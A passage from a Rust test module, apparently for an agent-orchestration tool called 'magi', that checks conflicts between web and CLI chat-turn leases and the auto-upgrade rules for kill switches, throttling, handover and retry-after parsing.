23752        let ui = Ui::new(
23753            Queue::at(home.path().join("queue")),
23754            Questions::at(home.path().join("questions")),
23755            talks.clone(),
23756            home.path().join("runs"),
23757            home.path().to_path_buf(),
23758            PathBuf::from("/repo"),
23759        )
23760        .with_worktrees_root(home.path().join("wt"));
23761        let id = "20260901-000000-cross";
23762
23763        let other = Talks::at(home.path().join("talks"))
23764            .claim_turn(id)
23765            .expect("claim")
23766            .expect("the other process wins");
23767        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23768        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23769        assert!(
23770            matches!(
23771                ui.begin_talk_turn_unless_pending(id).expect("start"),
23772                TalkTurnStart::Foreign
23773            ),
23774            "a foreign holder is refused, not queued behind"
23775        );
23776        assert!(
23777            !ui.talk_turns.lock().unwrap().live.contains(id),
23778            "a refused claim leaves no in-process entry behind"
23779        );
23780        drop(other);
23781        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23782        assert!(talks.turn_held(id), "the web turn holds the lease");
23783        drop(turn);
23784        assert!(
23785            !talks.turn_held(id),
23786            "dropping the guard releases the lease"
23787        );
23788    }
23789
23790    fn consult_question(ui: &Ui) -> Question {
23791        let mut q = Question::new(
23792            "20260901-000000-consult".to_owned(),
23793            "implement".to_owned(),
23794            "impl-A".to_owned(),
23795            "Which backend?".to_owned(),
23796            String::new(),
23797            vec!["SQLite".to_owned(), "Redis".to_owned()],
23798        );
23799        ui.questions.put(&mut q).expect("question");
23800        q
23801    }
23802
23803    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23804        (
23805            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23806            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23807        )
23808    }
23809
23810    #[tokio::test]
23811    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23812        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23813        let q = consult_question(&ui);
23814        let talk = ui.talks.get(&id).expect("talk");
23815        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23816        let before = consult_snapshot(&ui, &q, &id);
23817        let cli_talks = Talks::at(ui.home.join("talks"));
23818        assert_eq!(
23819            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23820                .await
23821                .expect("CLI starter"),
23822            crate::consult::Started::Busy
23823        );
23824        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23825        assert!(ui.is_thinking(&id));
23826        drop(guard);
23827        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23828    }
23829
23830    #[tokio::test]
23831    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23832        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23833        let q = consult_question(&ui);
23834        let talk = ui.talks.get(&id).expect("talk");
23835        let started = tmp.path().join("started");
23836        let release = tmp.path().join("release");
23837        let script = tmp.path().join("consult-agent.sh");
23838        std::fs::write(
23839            &script,
23840            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23841        )
23842        .expect("script");
23843        let mut cfg = stub_config();
23844        cfg.agents[0].id = "mock".to_owned();
23845        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23846        cfg.agents[0].env = std::collections::BTreeMap::from([
23847            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23848            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23849        ]);
23850        let questions = ui.questions.clone();
23851        let cli_talks = Talks::at(ui.home.join("talks"));
23852        let cli_q = q.clone();
23853        let turn = tokio::spawn(async move {
23854            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23855        });
23856        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23857            while !started.exists() {
23858                tokio::time::sleep(Duration::from_millis(10)).await;
23859            }
23860        })
23861        .await;
23862        // Always release and join the agent, even if readiness or the web
23863        // request fails, so a failed assertion cannot leave a turn behind.
23864        let refusal = if ready.is_ok() {
23865            let before = consult_snapshot(&ui, &q, &id);
23866            let result = talk_say(
23867                State(Arc::clone(&ui)),
23868                Path(id.clone()),
23869                Ok(Json(NewTalkTurn {
23870                    reply_to: None,
23871                    text: "another message".to_owned(),
23872                    attachments: Vec::new(),
23873                })),
23874            )
23875            .await;
23876            Some((result, before, consult_snapshot(&ui, &q, &id)))
23877        } else {
23878            None
23879        };
23880        std::fs::write(&release, "").expect("release agent");
23881        let done = turn.await.expect("join CLI turn");
23882        ready.expect("agent started before deadline");
23883        let (result, before, after) = refusal.expect("web request");
23884        let error = result.expect_err("web must refuse the CLI's turn");
23885        assert_eq!(error.status, StatusCode::CONFLICT);
23886        assert!(error.message.contains("a turn is already running"));
23887        assert_eq!(
23888            after, before,
23889            "refusal preserves question, draft and history"
23890        );
23891        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23892        let guard = ui
23893            .begin_talk_turn(&id)
23894            .expect("web claim")
23895            .expect("free again");
23896        drop(guard);
23897    }
23898
23899    #[test]
23900    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23901        let home = TempDir::new().expect("temp home");
23902        let talks = Talks::at(home.path().join("talks"));
23903        let ui = Ui::new(
23904            Queue::at(home.path().join("queue")),
23905            Questions::at(home.path().join("questions")),
23906            talks.clone(),
23907            home.path().join("runs"),
23908            home.path().to_path_buf(),
23909            PathBuf::from("/repo"),
23910        )
23911        .with_worktrees_root(home.path().join("wt"));
23912        let id = "20260901-000000-order";
23913        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23914        // Hold the slot mutex so the drop can finish the lease but not the slot.
23915        let slots = ui.talk_turns.lock().unwrap();
23916        let dropper = std::thread::spawn(move || drop(turn));
23917        let start = std::time::Instant::now();
23918        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23919            std::thread::sleep(Duration::from_millis(5));
23920        }
23921        assert!(!talks.turn_held(id), "the lease is released first");
23922        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23923        drop(slots);
23924        dropper.join().expect("join");
23925        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23926    }
23927
23928    #[tokio::test]
23929    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23930        let fx = Fixture::start().await;
23931        let mut beat = crate::daemon::Status::new();
23932        beat.worker_protocol = None;
23933        beat.pid = 4321;
23934        beat.updated_at = jiff::Timestamp::now();
23935        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23936            .expect("publish a heartbeat");
23937
23938        let res = fx.post("/api/upgrade", None).await;
23939        assert_eq!(res.status, 409);
23940    }
23941
23942    /// [`should_spawn_recheck`] must refuse for the same two reasons
23943    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23944    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23945    /// Purely a predicate over config and the environment - no network, no
23946    /// disk, no runtime - so unlike the fixture-based tests around it this
23947    /// one needs neither.
23948    #[test]
23949    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23950        assert!(!should_spawn_recheck(&crate::config::Update {
23951            mode: UpdateMode::Off,
23952            interval: None,
23953            auto_restart: false,
23954        }));
23955
23956        // SAFETY: single-threaded as far as this variable goes, the same
23957        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23958        unsafe {
23959            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23960        }
23961        let killed = should_spawn_recheck(&crate::config::Update {
23962            mode: UpdateMode::Notify,
23963            interval: None,
23964            auto_restart: false,
23965        });
23966        unsafe {
23967            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23968        }
23969        assert!(
23970            !killed,
23971            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23972             one-time startup check"
23973        );
23974
23975        assert!(should_spawn_recheck(&crate::config::Update {
23976            mode: UpdateMode::Notify,
23977            interval: None,
23978            auto_restart: false,
23979        }));
23980    }
23981
23982    /// [`recheck_poll_period`] must track a configured `[update] interval`
23983    /// shorter than its own default ceiling - a fixed sleep here would leave
23984    /// an operator's short interval waiting on the next wake-up instead of on
23985    /// `should_check`, which is the same bug this whole task exists to fix,
23986    /// just one level down.
23987    #[test]
23988    fn recheck_poll_period_tracks_a_short_configured_interval() {
23989        let short = crate::config::Update {
23990            mode: UpdateMode::Notify,
23991            interval: Some("1m".to_owned()),
23992            auto_restart: false,
23993        };
23994        let period = recheck_poll_period(&short);
23995        assert!(
23996            period <= Duration::from_secs(30),
23997            "a one-minute interval must wake the task far sooner than the \
23998             default ceiling, or the deck would not notice within the \
23999             interval the operator configured: got {period:?}"
24000        );
24001
24002        let default = crate::config::Update {
24003            mode: UpdateMode::Notify,
24004            interval: None,
24005            auto_restart: false,
24006        };
24007        assert_eq!(
24008            recheck_poll_period(&default),
24009            UPDATE_RECHECK_POLL_MAX,
24010            "the default day-long interval should poll at the (capped) \
24011             ceiling rather than needlessly often"
24012        );
24013    }
24014
24015    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24016    /// same throttle `updater::Checker::should_check` already gives the
24017    /// CLI's notify mode. Built over an explicit state file via
24018    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24019    /// write the operator's real `last_update_check.json` - and therefore
24020    /// cannot flake on whatever that file happens to say on the machine
24021    /// running the test.
24022    #[test]
24023    fn recheck_skips_the_network_before_the_interval_elapses() {
24024        let dir = TempDir::new().expect("temp dir");
24025        let path = dir.path().join("state.json");
24026        let state = kaishin::UpdateCheckState {
24027            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24028            last_known_latest: None,
24029            last_known_url: None,
24030        };
24031        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24032
24033        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24034        assert!(
24035            !update_recheck_due(&checker, None),
24036            "a check made moments ago must not be repeated before the \
24037             configured interval elapses"
24038        );
24039    }
24040
24041    /// An upgrade this deck already started must not be raced by a recheck
24042    /// that discovers a newer release mid-install - regardless of what
24043    /// `should_check` says, which is why the state file here is missing
24044    /// entirely: read alone, that alone would answer "never checked, go
24045    /// ahead".
24046    #[test]
24047    fn recheck_defers_to_an_upgrade_already_in_flight() {
24048        let dir = TempDir::new().expect("temp dir");
24049        let path = dir.path().join("state.json");
24050        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24051        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24052
24053        assert!(
24054            !update_recheck_due(&checker, Some(&progress)),
24055            "a recheck must not run while an upgrade this deck started is \
24056             still moving"
24057        );
24058    }
24059
24060    #[tokio::test]
24061    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24062        // The same env var the background check honours (`disabled_by_env`)
24063        // must also stop a button press before it ever calls
24064        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24065        // means "never contact GitHub from this process", and a tap on the
24066        // upgrade button must not override that any more than a broken
24067        // `magi.toml` may. Left unset, this fixture's default config would
24068        // otherwise reach a real, unauthenticated GitHub call.
24069        //
24070        // SAFETY: single-threaded as far as this variable goes - nothing else
24071        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24072        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24073        unsafe {
24074            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24075        }
24076        let fx = Fixture::start().await;
24077        let res = fx.post("/api/upgrade", None).await;
24078        unsafe {
24079            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24080        }
24081        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24082        let body = res.json();
24083        assert!(body["to"].is_null(), "there was no release to move to");
24084        assert!(body["parked"].is_null(), "and nothing was parked");
24085        assert!(
24086            body["detail"]
24087                .as_str()
24088                .unwrap()
24089                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24090            "{body:?}"
24091        );
24092    }
24093
24094    #[test]
24095    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24096        use AutoUpgradeDecision::{Skip, Trigger};
24097        let mut cfg = Update::default();
24098        assert!(matches!(
24099            auto_upgrade_decision(&cfg, false, false, "v2", None),
24100            Skip(_)
24101        ));
24102        cfg.auto_restart = true;
24103        assert_eq!(
24104            auto_upgrade_decision(&cfg, false, false, "v2", None),
24105            Trigger
24106        );
24107        for (disabled, moving, failed) in [
24108            (true, false, None),
24109            (false, true, None),
24110            (false, false, Some("v2")),
24111        ] {
24112            assert!(matches!(
24113                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24114                Skip(_)
24115            ));
24116        }
24117        assert_eq!(
24118            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24119            Trigger
24120        );
24121        cfg.mode = UpdateMode::Off;
24122        assert!(matches!(
24123            auto_upgrade_decision(&cfg, false, false, "v2", None),
24124            Skip(_)
24125        ));
24126    }
24127
24128    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24129        Box::pin(async { anyhow::bail!("test installer failed") })
24130    }
24131
24132    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24133        std::sync::LazyLock::new(Mutex::default);
24134
24135    fn test_replace_and_signal_handover(
24136        home: PathBuf,
24137    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24138        Box::pin(async move {
24139            if let Some(mut progress) = updater::read_progress(&home) {
24140                progress.advance(updater::Stage::Replaced);
24141                updater::write_progress_logged(&home, &progress);
24142            }
24143            if let Some(signal) = TEST_AUTO_HANDOVERS
24144                .lock()
24145                .unwrap_or_else(PoisonError::into_inner)
24146                .remove(&home)
24147            {
24148                signal.notify_one();
24149            }
24150            Ok(())
24151        })
24152    }
24153
24154    #[tokio::test]
24155    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24156        let home = TempDir::new().unwrap();
24157        let mut ui = idle_ui(&home);
24158        ui.repo = home.path().to_path_buf();
24159        // Every successful trigger in this test uses this seam, never the installer.
24160        ui.upgrade_runner = fail_test_upgrade;
24161        let ui = Arc::new(ui);
24162        let latest = |tag: &str| {
24163            Some(kaishin::LatestRelease {
24164                tag_name: tag.into(),
24165                html_url: String::new(),
24166            })
24167        };
24168
24169        // Opt-in default (`auto_restart = false`) does nothing.
24170        assert_eq!(
24171            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24172                .await
24173                .status(),
24174            StatusCode::NO_CONTENT
24175        );
24176        assert!(updater::read_progress(home.path()).is_none());
24177
24178        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24179        std::fs::write(
24180            home.path().join("magi.toml"),
24181            "[update]\nmode = \"off\"\nauto_restart = true\n",
24182        )
24183        .unwrap();
24184        assert_eq!(
24185            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24186                .await
24187                .status(),
24188            StatusCode::NO_CONTENT
24189        );
24190        assert!(updater::read_progress(home.path()).is_none());
24191
24192        std::fs::write(
24193            home.path().join("magi.toml"),
24194            "[update]\nauto_restart = true\n",
24195        )
24196        .unwrap();
24197
24198        // Missing detected release skips without re-querying.
24199        assert_eq!(
24200            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24201                .await
24202                .status(),
24203            StatusCode::NO_CONTENT
24204        );
24205        assert!(updater::read_progress(home.path()).is_none());
24206
24207        // Legacy embedded scheduler is still refused.
24208        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24209        std::fs::write(
24210            home.path().join("daemon.json"),
24211            serde_json::json!({
24212                "schema": 2,
24213                "pid": legacy_pid,
24214                "updated_at": Timestamp::now().to_string(),
24215                "idle": true,
24216            })
24217            .to_string(),
24218        )
24219        .unwrap();
24220        assert_eq!(
24221            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24222                .await
24223                .status(),
24224            StatusCode::CONFLICT
24225        );
24226        assert!(updater::read_progress(home.path()).is_none());
24227        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24228
24229        // Concurrent upgrade guard refuses while the request gate is held.
24230        let gate = ui.upgrade_gate.lock().await;
24231        assert_eq!(
24232            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24233                .await
24234                .status(),
24235            StatusCode::CONFLICT
24236        );
24237        drop(gate);
24238
24239        // Active chat turns no longer defer automatic upgrades.
24240        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24241        assert_eq!(
24242            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24243                .await
24244                .status(),
24245            StatusCode::ACCEPTED
24246        );
24247        let progress = updater::read_progress(home.path()).unwrap();
24248        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24249        assert_eq!(progress.stage, updater::Stage::Downloading);
24250        assert_eq!(
24251            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24252                .await
24253                .status(),
24254            StatusCode::CONFLICT
24255        );
24256        assert!(progress.parked_run.is_none());
24257        assert!(ui.start_detached_loop().await.is_err());
24258        assert!(ui.start_loop(None).is_err());
24259        assert!(ui.begin_resume("late").is_err());
24260        assert_eq!(
24261            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24262                .await
24263                .status(),
24264            StatusCode::NO_CONTENT
24265        );
24266        tokio::time::timeout(Duration::from_secs(2), async {
24267            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24268                tokio::task::yield_now().await;
24269            }
24270        })
24271        .await
24272        .unwrap();
24273        let progress = updater::read_progress(home.path()).unwrap();
24274        assert_eq!(progress.stage, updater::Stage::Failed);
24275
24276        // Same-release failure is suppressed for automatic retries.
24277        assert_eq!(
24278            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24279                .await
24280                .status(),
24281            StatusCode::NO_CONTENT
24282        );
24283
24284        // Manual retry still uses the shared path for the same tag.
24285        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24286        assert_eq!(
24287            finish_upgrade_request(&ui, result).status(),
24288            StatusCode::ACCEPTED
24289        );
24290        assert_eq!(
24291            updater::read_progress(home.path()).unwrap().trigger,
24292            updater::UpgradeTrigger::Manual
24293        );
24294        tokio::time::timeout(Duration::from_secs(2), async {
24295            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24296                tokio::task::yield_now().await;
24297            }
24298        })
24299        .await
24300        .unwrap();
24301
24302        // A newer release tag clears suppression for automatic updates.
24303        assert_eq!(
24304            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
24305                .await
24306                .status(),
24307            StatusCode::ACCEPTED
24308        );
24309        assert_eq!(
24310            updater::read_progress(home.path()).unwrap().trigger,
24311            updater::UpgradeTrigger::Auto
24312        );
24313        tokio::time::timeout(Duration::from_secs(2), async {
24314            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24315                tokio::task::yield_now().await;
24316            }
24317        })
24318        .await
24319        .unwrap();
24320    }
24321
24322    #[tokio::test]
24323    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
24324        let home = TempDir::new().unwrap();
24325        std::fs::write(
24326            home.path().join("magi.toml"),
24327            "[update]\nauto_restart = true\n",
24328        )
24329        .unwrap();
24330        let mut ui = idle_ui(&home);
24331        ui.repo = home.path().to_path_buf();
24332        ui.upgrade_runner = test_replace_and_signal_handover;
24333        let ui = Arc::new(ui);
24334
24335        let workers = [
24336            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
24337            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
24338            (
24339                "333333",
24340                3_u64,
24341                "daemon-service",
24342                "service:maintenance",
24343                41_003_u32,
24344            ),
24345        ];
24346        let mut exec_leases = Vec::new();
24347        for (id, sequence, kind, key, pid) in workers {
24348            let dir = home.path().join("workers/jobs").join(id);
24349            std::fs::create_dir_all(&dir).unwrap();
24350            let payload = if kind == "chat" {
24351                serde_json::json!({ "talk": "active-chat" })
24352            } else {
24353                serde_json::json!({})
24354            };
24355            let job = crate::worker::Job {
24356                id: id.into(),
24357                sequence,
24358                kind: kind.into(),
24359                key: key.into(),
24360                payload,
24361                generation: "gen-old".into(),
24362                version: Some("0.1.0".into()),
24363                status: crate::worker::Status::Running,
24364                result: None,
24365                pid: Some(pid),
24366                created_at: 1,
24367                finished_at: None,
24368            };
24369            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
24370            exec_leases.push(crate::worker::execution_lease_for_test(
24371                &dir.join("live.lock"),
24372            ));
24373        }
24374        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
24375            .unwrap()
24376            .expect("free task lease");
24377        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
24378            .unwrap()
24379            .expect("free chat worker lease");
24380        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
24381            .unwrap()
24382            .expect("free service lease");
24383        let chat_turn = ui
24384            .begin_talk_turn("active-chat-turn")
24385            .expect("claim chat turn")
24386            .expect("free chat turn");
24387        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
24388
24389        // An unreadable reservation must defer replacement, not look like an
24390        // idle scheduler. Once repaired, the same release can still proceed.
24391        let corrupt = home.path().join("workers/jobs/444444");
24392        std::fs::create_dir_all(&corrupt).unwrap();
24393        std::fs::write(corrupt.join("job.json"), "{").unwrap();
24394        let latest = || {
24395            Some(kaishin::LatestRelease {
24396                tag_name: "v999.0.0".into(),
24397                html_url: String::new(),
24398            })
24399        };
24400        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24401        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
24402        assert!(updater::read_progress(home.path()).is_none());
24403        std::fs::remove_dir_all(corrupt).unwrap();
24404
24405        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24406            .await
24407            .expect("bind loopback");
24408        let address = listener.local_addr().expect("address");
24409        let served =
24410            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
24411
24412        let handover_signal = Arc::new(Notify::new());
24413        TEST_AUTO_HANDOVERS
24414            .lock()
24415            .unwrap_or_else(PoisonError::into_inner)
24416            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
24417
24418        let admission = ui.begin_admission().expect("admit");
24419        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
24420        assert_eq!(response.status(), StatusCode::ACCEPTED);
24421        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
24422            .await
24423            .expect("auto upgrade runner must reach handover");
24424        let replaced = updater::read_progress(home.path()).unwrap();
24425        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
24426        assert_eq!(replaced.stage, updater::Stage::Replaced);
24427
24428        let successor_started = std::sync::atomic::AtomicBool::new(false);
24429        let handover = hand_over(home.path(), &ui.admissions, served, || {
24430            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24431            Ok(1)
24432        });
24433        tokio::pin!(handover);
24434        // Short admission drain still waits for an in-flight persistence/reservation guard.
24435        std::future::poll_fn(|cx| {
24436            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24437            std::task::Poll::Ready(())
24438        })
24439        .await;
24440        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
24441        assert!(ui.begin_admission().is_err());
24442
24443        drop(admission);
24444        tokio::time::timeout(Duration::from_secs(2), handover)
24445            .await
24446            .expect("automatic handover must not wait for active workers")
24447            .expect("handover");
24448        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24449
24450        let successor = bind_waiting(address)
24451            .await
24452            .expect("successor binds released address");
24453        assert_eq!(successor.local_addr().unwrap(), address);
24454
24455        let restarting = updater::read_progress(home.path()).unwrap();
24456        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
24457        assert_eq!(restarting.stage, updater::Stage::Restarting);
24458        assert!(restarting.parked_run.is_none());
24459        assert!(restarting.parked_talks.is_empty());
24460
24461        let active_after = crate::worker::observe_active(home.path()).unwrap();
24462        assert_eq!(active_after.len(), 3);
24463        for (id, _, kind, key, pid) in workers {
24464            let job = active_after
24465                .iter()
24466                .find(|job| job.id == id)
24467                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
24468            assert_eq!(job.kind, kind);
24469            assert_eq!(job.pid, Some(pid));
24470            assert_eq!(job.generation, "gen-old");
24471            assert_eq!(job.status, crate::worker::Status::Running);
24472            assert!(
24473                crate::worker::control(home.path(), key).unwrap().is_none(),
24474                "no park/stop control may be requested for {key}"
24475            );
24476        }
24477        assert!(
24478            !home.path().join("worker-parks").exists(),
24479            "automatic handover must never request worker parks"
24480        );
24481        assert!(chat_turn.owns(), "chat lease survives automatic handover");
24482        assert!(
24483            crate::worker::try_lease(home.path(), "task:active-task")
24484                .unwrap()
24485                .is_none()
24486        );
24487        assert!(
24488            crate::worker::try_lease(home.path(), "chat:active-chat")
24489                .unwrap()
24490                .is_none()
24491        );
24492        assert!(
24493            crate::worker::try_lease(home.path(), "service:maintenance")
24494                .unwrap()
24495                .is_none()
24496        );
24497
24498        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
24499        assert!(
24500            log.contains("auto-upgrade: beginning update and restart"),
24501            "{log}"
24502        );
24503        assert!(!log.contains("waiting for idle"), "{log}");
24504        assert!(!log.contains("idle;"), "{log}");
24505
24506        drop(successor);
24507        drop(chat_turn);
24508        drop(service_lease);
24509        drop(chat_lease);
24510        drop(task_lease);
24511        drop(exec_leases);
24512    }
24513
24514    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24515        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24516        p.stage = stage;
24517        p
24518    }
24519
24520    #[test]
24521    fn busy_stages_match_the_ui_set() {
24522        use crate::updater::Stage;
24523        assert!(APP_JS.contains(
24524            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24525        ));
24526        for s in [
24527            Stage::Downloading,
24528            Stage::Replaced,
24529            Stage::Parking,
24530            Stage::Restarting,
24531        ] {
24532            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24533        }
24534        for s in [Stage::Done, Stage::Failed] {
24535            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24536        }
24537        assert!(upgrade_in_motion(None).is_none());
24538    }
24539
24540    #[tokio::test]
24541    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24542        use crate::updater::Stage;
24543        for stage in [
24544            Stage::Downloading,
24545            Stage::Replaced,
24546            Stage::Parking,
24547            Stage::Restarting,
24548        ] {
24549            let fx = Fixture::start().await;
24550            let seeded = seeded_progress(stage);
24551            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24552            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24553                .expect("read");
24554
24555            let res = fx.post("/api/upgrade", None).await;
24556            assert_eq!(res.status, 409, "{stage:?}");
24557            let err = res.json()["error"].as_str().unwrap().to_owned();
24558            assert!(err.contains("already in progress"), "{err}");
24559            assert!(err.contains(stage.as_str()), "{err}");
24560
24561            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24562                .expect("read");
24563            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24564            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24565                .unwrap_or_default();
24566            assert!(!log.contains("signalling HANDOVER"), "{log}");
24567        }
24568    }
24569
24570    #[test]
24571    fn upgrade_retry_timing_only_parses_known_diagnostics() {
24572        assert_eq!(
24573            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
24574            Some(3723)
24575        );
24576        assert_eq!(
24577            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
24578            Some(60)
24579        );
24580        assert_eq!(
24581            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
24582            Some(0)
24583        );
24584        for message in [
24585            "permission denied",
24586            "GitHub API rate limit exceeded",
24587            "GitHub rate limit (resets in unknown)",
24588            "GitHub rate limit (resets in 18446744073709551615d)",
24589        ] {
24590            assert_eq!(upgrade_retry_after(message), None, "{message}");
24591        }
24592    }
24593
24594    #[tokio::test]
24595    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
24596        let home = TempDir::new().unwrap();
24597        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
24598        ui.start_loop(None).unwrap();
24599        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
24600        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
24601        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
24602        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
24603        let response = finish_upgrade_request(&ui, result);
24604        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
24605        assert_eq!(response.headers()["retry-after"], "120");
24606        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
24607            .await
24608            .unwrap();
24609        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
24610        assert!(body["error"].as_str().unwrap().contains(reason));
24611        assert_eq!(body["retry_after_secs"], 120);
24612        assert!(body["retry_at"].as_u64().is_some());
24613        for _ in 0..2 {
